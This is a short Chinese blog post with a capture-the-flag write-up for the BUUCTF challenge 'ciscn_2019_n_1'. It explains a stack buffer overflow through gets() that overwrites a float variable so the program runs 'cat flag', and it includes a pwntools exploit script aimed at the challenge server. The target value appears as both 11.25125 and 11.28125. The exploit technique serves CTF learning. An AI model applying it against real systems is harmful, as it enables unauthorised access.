C/C++教程

BUUCTF PWN ciscn_2019_n_1

本文主要是介绍BUUCTF PWN ciscn_2019_n_1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

 

拿到文件先checksec

 

仅开启了NX保护

放入IDA中

查看main函数很简单,没有什么明显漏洞

 

发现了func函数,双击试试看

 

可以看到只要v2等于11.25125就可以执行cat flag命令

先把11.28125转为16进制,放着备用(0x41348000)

我们的思路就是利用gets这个危险函数,通过覆盖v1的地址来修改v2的值,进而执行system命令,拿到flag。

 

写脚本

from pwn import *

p=remote('node4.buuoj.cn',25989)

payload='a'*0x2c+p64(0x41348000)

p.recvuntil("Let's guess the number.")

p.sendline(payload)

p.interactive()

 

运行试试

拿到flag!

 

这篇关于BUUCTF PWN ciscn_2019_n_1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!